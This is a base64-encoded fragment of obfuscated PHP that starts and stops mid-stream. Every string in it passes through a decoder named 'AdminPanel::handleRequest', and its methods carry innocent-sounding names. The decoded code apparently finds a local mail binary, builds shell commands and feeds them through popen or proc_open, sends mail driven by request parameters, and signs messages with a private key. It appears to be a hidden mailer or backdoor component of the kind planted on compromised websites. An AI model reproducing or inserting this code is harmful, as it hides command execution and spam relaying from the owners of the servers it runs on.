iBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZGYnLCAnX2pmYycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeHRmJywgJ191ZScpID0+IDAxMTEzLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbW1rJywgJ19peWsnKSA9PiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdGRqJywgJ19ocnMnKSk7CiAgICAgICAgICAgICAgICAgICAgJF9leltdID0gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VnJywgJ19obCcpID0+IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19pdWEnLCAnX2llYycpIC4gJF9teiwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2N2dScsICdfbXp5JykgPT4gMDMxLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdXEnLCAnX2p0JykgPT4gbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJF9leltdID0gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2hydicsICdfaWd1JykgPT4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3FqbCcsICdfZGknKSAuICRfbXosIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19raGEnLCAnX3p3JykgPT4gMDMxLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeWEnLCAnX2p5JykgPT4gbnVsbCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX2V6IGFzICRfeW0pIHsKICAgICAgICAgICAgICAgICAgICAkX29tYyA9ICR0aGlzLT5yb2xsYmFja1RyYW5zYWN0aW9uKCRfeW1bQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JraScsICdfcXBtJyldLCAkX3ltW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ195dGcnLCAnX2JuJyldLCAkX3ltW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19pd28nLCAnX2Z3YicpXSwgJF95bVtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa29pJywgJ194eWInKV0gPT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2Z2aicsICdfYnFvJykgPyAwMyA6IDA1KTsKICAgICAgICAgICAgICAgICAgICBpZiAoISRfb21jKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5sb2dFdmVudCgkX29tYywgJF92YSwgJF9iY3gsICRfYWZuLCAkX216KSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfb21jKTsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJF9vbWMpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2xqbCcsICdfbHknKSAuICR0aGlzLT5feXcgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZ2ZwJywgJ19qcncnKSAuICRfeW1bQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2NoZScsICdfb2pkJyldIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2JmaicsICdfdm0nKSAuICRfeW1bQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3B4ZicsICdfbWtoJyldIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3J2aycsICdfY2EnKSAuICR0aGlzLT5feXc7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfb3lyID09PSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdHphJywgJ19ubicpKSB7CiAgICAgICAgICAgICAgICAkX2p6ID0gZmFsc2U7CiAgICAgICAgICAgICAgICAkX2dmbCA9IHRydWU7CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xdGknLCAnX2F2JyldKSkgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19sZ2gnLCAnX2JzJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19yb2MnLCAnX3dseCcpKSBhcyAkX2VrciA9PiAkX3FjaykgewogICAgICAgICAgICAgICAgICAgICAgICAkX2JxID0gJHRoaXMtPnJlc29sdmVBY3Rpb24oJF9xY2spOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9icSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJF9la3IpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9vbWMgPSAkdGhpcy0+cm9sbGJhY2tUcmFuc2FjdGlvbigkX2JxWzAwXSwgMDMxLCBudWxsLCAwMiwgdHJ1ZSwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAwMToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2dmbCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfb21jID0gJHRoaXMtPnJvbGxiYWNrVHJhbnNhY3Rpb24oJF9icVswMF0sIDAzMSwgbnVsbCwgMDIsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRfb21jKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfb21jKTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9qeiA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICghJF9qeikgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3R1ID0gJHRoaXMtPnByb2Nlc3NEYXRhKCRfdmEsICRfYmN4LCAkX216KTsKICAgICAgICAgICAgICAgICRfYWZuID0gJF90dSAuICRfeXZuIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX254dycsICdfeXcnKSAuICRfY3l5IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2pyJywgJ19oYmYnKTsKICAgICAgICAgICAgICAgICRfdnYgPSAkdGhpcy0+ZmV0Y2hSZWNvcmRzKCRfeXZuLCAkX2N5eSwgJF92YSwgJF9iY3gsICRfbXosIHRydWUsICRfdHUpOwogICAgICAgICAgICAgICAgaWYgKCRfdnYgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJF9hZm4gPSAkX3Z2IC4gJHRoaXMtPl95dyAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19hbGMnLCAnX3FuJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2x4byA9IHN0YXJ0X3NlcnZpY2UoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ZyJywgJ194aScpLCAkX2JjeCk7CiAgICAgICAgICAgICAgICBpZiAoaW5pdF9zeXN0ZW0oJF9seG8pID09IDAyKSB7CiAgICAgICAgICAgICAgICAgICAgJF9tamMgPSBvcHRpbWl6ZV9jYWNoZShyZXNvbHZlX2RlcGVuZGVuY3koJF9seG9bMDFdKSk7CiAgICAgICAgICAgICAgICAgICAgJF9tamMgPSBrbWkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3djaicsICdfYmh5JyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ192cCcsICdfdWQnKSwgJF9tamMpOwogICAgICAgICAgICAgICAgICAgICRfZmkgPSAkdGhpcy0+cmVzb2x2ZUFjdGlvbigkX21qYyk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9maSBhcyAkX3FubCkgewogICAgICAgICAgICAgICAgICAgICAgICAkX29tYyA9ICR0aGlzLT5yb2xsYmFja1RyYW5zYWN0aW9uKCRfcW5sLCAwMzEsIG51bGwsIDAxMiwgJF9nZmwpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRfb21jKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5sb2dFdmVudCgkX29tYywgJF92YSwgJF9iY3gsICRfYWZuLCAkX216KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkX29tYyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfb21jKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdnMnLCAnX2F6eScpIC4gJHRoaXMtPl95dzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX295ciA9PT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3F0eicsICdfaGQnKSkgewogICAgICAgICAgICAgICAgaWYgKEBtYWlsKCRfYmN4LCAkX2NqaCwgJF9jeXksICRfeXJ3KSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2puJywgJ19qdnInKSAuICR0aGlzLT5feXc7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196cG8nLCAnX2hweicpXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5sb2dUcmFuc2FjdGlvbigkX3l2biwgJF9jeXksICRfdmEsICRfYmN4LCAkX216KSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2hicScsICdfa3RyJykgLiAkdGhpcy0+X3l3OwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gbG9nVHJhbnNhY3Rpb24oJF95cncsICRfY3l5LCAkX3ZhLCAkX2JjeCwgJF9teiwgJF9weiA9ICJkZWZhdWx0IikKICAgIHsKICAgICAgICAkX2F2ID0gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3J6cScsICdfaWknKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2x5aycsICdfbHFjJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ195bGInLCAnX3FsdCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcmFnJywgJ19lcicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcm9nJywgJ19mcm0nKSk7CiAgICAgICAgJF9nZ2EgPSBudWxsOwogICAgICAgIGZvcmVhY2ggKCRfYXYgYXMgJF95cXIpIHsKICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkX3lxcikgJiYgQGlzX2V4ZWN1dGFibGUoJF95cXIpKSB7CiAgICAgICAgICAgICAgICAkX2dnYSA9ICRfeXFyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCEkX2dnYSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfZ2RlID0gZXNjYXBlc2hlbGxjbWQoJF9nZ2EpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2llaycsICdfc296JykgLiBlc2NhcGVzaGVsbGFyZygkX3ZhKTsKICAgICAgICAkX25zID0gZXNjYXBlc2hlbGxjbWQoJF9nZ2EpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2F4JywgJ196ZicpIC4gZXNjYXBlc2hlbGxhcmcoJF92YSk7CiAgICAgICAgJF9vZWQgPSBAaW5pX2dldChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcmp2JywgJ19naicpKTsKICAgICAgICAkX3h0ciA9IGZ1bmN0aW9uX2V4aXN0cyhBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY3gnLCAnX3d2cCcpKSAmJiBAc3RyaXBvcygkX29lZCwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX25wbycsICdfa3BlJykpID09PSBmYWxzZTsKICAgICAgICAkX3hpaiA9IGZ1bmN0aW9uX2V4aXN0cyhBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfamEnLCAnX3dyJykpICYmIEBzdHJpcG9zKCRfb2VkLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbXgnLCAnX2t1ZScpKSA9PT0gZmFsc2U7CiAgICAgICAgJF9hZm4gPSAkX3lydyAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ190dCcsICdfbmYnKSAuICRfY3l5OwogICAgICAgICRfcmkgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF9nZGUsICRfYWZuLCAkX3h0ciwgJF94aWopOwogICAgICAgIGlmICgkX3JpID09PSAwMCkgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgJF92diA9ICR0aGlzLT5jb21wdXRlUmVzdWx0KCRfeXJ3LCAkX2N5eSwgJF92YSwgJF9iY3gsICRfbXosICRfcHopOwogICAgICAgIGlmICgkX3Z2ICE9PSBmYWxzZSkgewogICAgICAgICAgICAkX3pjID0gJF92djsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX3pjID0gJF9hZm47CiAgICAgICAgfQogICAgICAgICRfaXJwID0gJHRoaXMtPnNhdmVDaGFuZ2VzKCRfbnMsICRfemMsICRfeHRyLCAkX3hpaik7CiAgICAgICAgaWYgKCRfaXJwICE9PSAwMCkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBzYXZlQ2hhbmdlcygkX2lreSwgJF9vYiwgJF94dHIsICRfeGlqKQogICAgewogICAgICAgIGlmICgkX3h0cikgewogICAgICAgICAgICAkX3d5ZyA9IEBwb3BlbigkX2lreSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dlcycsICdfY3d1JykpOwogICAgICAgICAgICBpZiAoISRfd3lnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gMDE7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGZwdXRzKCRfd3lnLCAkX29iIC4gJHRoaXMtPl95dyk7CiAgICAgICAgICAgICRfa3EgPSBAcGNsb3NlKCRfd3lnKTsKICAgICAgICAgICAgcmV0dXJuICRfa3E7CiAgICAgICAgfSBlbHNlaWYgKCRfeGlqKSB7CiAgICAgICAgICAgICRfZGggPSBhcnJheSgwMCA9PiBhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnF5JywgJ19oZnYnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2l2JywgJ19wa28nKSksIDAxID0+IGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19meicsICdfeGhhJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ195dXknLCAnX3R3JykpLCAwMiA9PiBhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb2psJywgJ19jZnQnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2x4YicsICdfZHhqJykpKTsKICAgICAgICAgICAgJF9ncSA9IEBwcm9jX29wZW4oJF9pa3ksICRfZGgsICRfZXgpOwogICAgICAgICAgICBpZiAoIXdibSgkX2dxKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIDAxOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmcHV0cygkX2V4WzAwXSwgJF9vYiAuICR0aGlzLT5feXcpOwogICAgICAgICAgICBAZmNsb3NlKCRfZXhbMDBdKTsKICAgICAgICAgICAgQGZjbG9zZSgkX2V4WzAxXSk7CiAgICAgICAgICAgIEBmY2xvc2UoJF9leFswMl0pOwogICAgICAgICAgICAkX2txID0gQHByb2NfY2xvc2UoJF9ncSk7CiAgICAgICAgICAgIHJldHVybiAkX2txOwogICAgICAgIH0KICAgICAgICByZXR1cm4gMDE7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGZldGNoUmVjb3JkcygkX3lydywgJF9jeXksICRfZ2csICRfYmN4LCAkX216LCAkX2h4dSA9IHRydWUsICRfZmhlID0gIiIpCiAgICB7CiAgICAgICAgJF9jbSA9ICR0aGlzLT5jb21wdXRlUmVzdWx0KCRfeXJ3LCAkX2N5eSwgJF9nZywgJF9iY3gsICRfbXopOwogICAgICAgIGlmICgkX2NtID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICgkX2h4dSkgewogICAgICAgICAgICByZXR1cm4gJF9maGUgLiAkX2NtOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9jbTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gY29tcHV0ZVJlc3VsdCgkX3lydywgJF9jeXksICRfZ2csICRfYmN4LCAkX216LCAkX3B6ID0gImRlZmF1bHQiKQogICAgewogICAgICAgICRfY2RtID0gJHRoaXMtPnJlc2V0U3RhdGUoJF9teiwgJF9weik7CiAgICAgICAgaWYgKCRfY2RtID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfZ2sgPSBia3AoKTsKICAgICAgICBsaXN0KCRfYXJpLCAkX3R6ZSkgPSAkdGhpcy0+dGVybWluYXRlU2Vzc2lvbigkX3lydywgJF9nZywgJF9iY3gsICRfbXopOwogICAgICAgIGlmICgkX3R6ZSA9PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfemx5ID0gJHRoaXMtPmF1dGhvcml6ZVVzZXIoJF9jeXkpOwogICAgICAgICRfcGFwID0gYW5hbHl6ZV9kYXRhKGhhc2goQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2J4ZCcsICdfbG8nKSwgJF96bHksIHRydWUpKTsKICAgICAgICAkX2FudiA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zZycsICdfbXRmJykgLiAkX3B6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hjJywgJ190eScpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196eScsICdfcHh3JykgLiAkX2drIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ZieicsICdfbmEnKSAuICRfdHplIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hsZScsICdfaG9xJykgLiAkX3BhcCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19obm8nLCAnX3ZvYycpOwogICAgICAgICRfZXhwID0gJHRoaXMtPnVwZGF0ZUNhY2hlKCRfeXJ3LCAkX2Fudik7CiAgICAgICAgbGlzdCgkX2lrLCAkX2FyaSkgPSAkdGhpcy0+dGVybWluYXRlU2Vzc2lvbigkX2V4cCwgJF9nZywgJF9iY3gsICRfbXosIGZhbHNlKTsKICAgICAgICBpZiAoJF9payA9PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfYmx5ID0gQG9wZW5zc2xfZ2V0X3ByaXZhdGVrZXkoJF9jZG0pOwogICAgICAgIGlmICghJF9ibHkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkX3BkcSA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19hdScsICdfc3onKTsKICAgICAgICAkX3llID0gbHJnKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kZCcsICdfaW8nKSkgPyBPUEVOU1NMX0FMR09fU0hBMjU2IDogMDY7CiAgICAgICAgaWYgKCFAb3BlbnNzbF9zaWduKCRfaWssICRfcGRxLCAkX2JseSwgJF95ZSkpIHsKICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgMDIzNDIwMCkgewogICAgICAgICAgICAgICAgQG9wZW5zc2xfZnJlZV9rZXkoJF9ibHkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgMDIzNDIwMCkgewogICAgICAgICAgICBAb3BlbnNzbF9mcmVlX2tleSgkX2JseSk7CiAgICAgICAgfQogICAgICAgICRfamQgPSBkZWNvZGVfaW5wdXQodHJpZ2dlcl9ldmVudChhbmFseXplX2RhdGEoJF9wZHEpLCAwMTE0LCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbmppJywgJ190bWwnKSksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19va2UnLCAnX2xqbScpKTsKICAgICAgICAkX2xidCA9ICRfYW52IC4gJF9qZDsKICAgICAgICAkX3FpID0gJHRoaXMtPnVwZGF0ZUNhY2hlKCRfeXJ3LCAkX2xidCk7CiAgICAgICAgcmV0dXJuICRfcWkgLiAkdGhpcy0+X3l3IC4gJHRoaXMtPl95dyAuICRfY3l5OwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZXNldFN0YXRlKCRfbXosICRfcHopCiAgICB7CiAgICAgICAgJF94ciA9IGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xdicsICdfamZkJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oaycsICdfY25oJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX251bScsICdfenV6JyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ieScsICdfY2xjJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3RoJywgJ19mZnEnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2tuJywgJ19jbGInKSAuICRfbXogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfamknLCAnX3FndScpIC4gJF9weiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19paycsICdfcWQnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3VwaicsICdfemdrJykgLiAkX3B6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dsJywgJ19icXMnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3pncicsICdfdG8nKSAuICRfbXogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbHBpJywgJ19seGUnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3lhaScsICdfa2hpJykgLiAkX3B6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2lsaycsICdfb28nKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dxdycsICdfdWknKSAuICRfbXogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaWNiJywgJ19jcycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfemonLCAnX3hzJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2tyYycsICdfbHpmJykgLiAkX3B6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2JqJywgJ19vdGEnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dpeScsICdfeWVsJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3h0JywgJ194ZicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcWFnJywgJ19scCcpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ194aGQnLCAnX2JwcScpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcGtxJywgJ192cScpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191eCcsICdfb2tyJykgLiAkX3B6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX212bCcsICdfZXBzJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vcycsICdfcGlsJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2pvdScsICdfemhmJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19jdnAnLCAnX3B1eicpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ190cicsICdfZHpkJykgLiAkX3B6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hvZCcsICdfaXcnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3NpJywgJ19uZG8nKSAuICRfbXogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeWprJywgJ194bXAnKSAuICRfcHogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZWJtJywgJ19vcGonKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3d4YycsICdfaGx6JykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2x6ZycsICdfZXdiJykgLiAkX3B6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2RoJywgJ19jcicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcmtmJywgJ19qb3InKSAuICRfbXogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd29mJywgJ196YW8nKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3FtdScsICdfa2snKSAuICRfcHogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfemVxJywgJ19qb2snKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ZtZScsICdfY3ppJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX295cicsICdfZmpmJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ192cXAnLCAnX2ZyeicpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19lYScsICdfYnonKSAuICRfcHogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbXdwJywgJ190ZG4nKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dhJywgJ19kZ2UnKSAuICRfbXogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfenRpJywgJ196ZWsnKSAuICRfcHogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd2hqJywgJ190am8nKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ZscCcsICdfa3NyJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX291ZCcsICdfdmxjJykgLiAk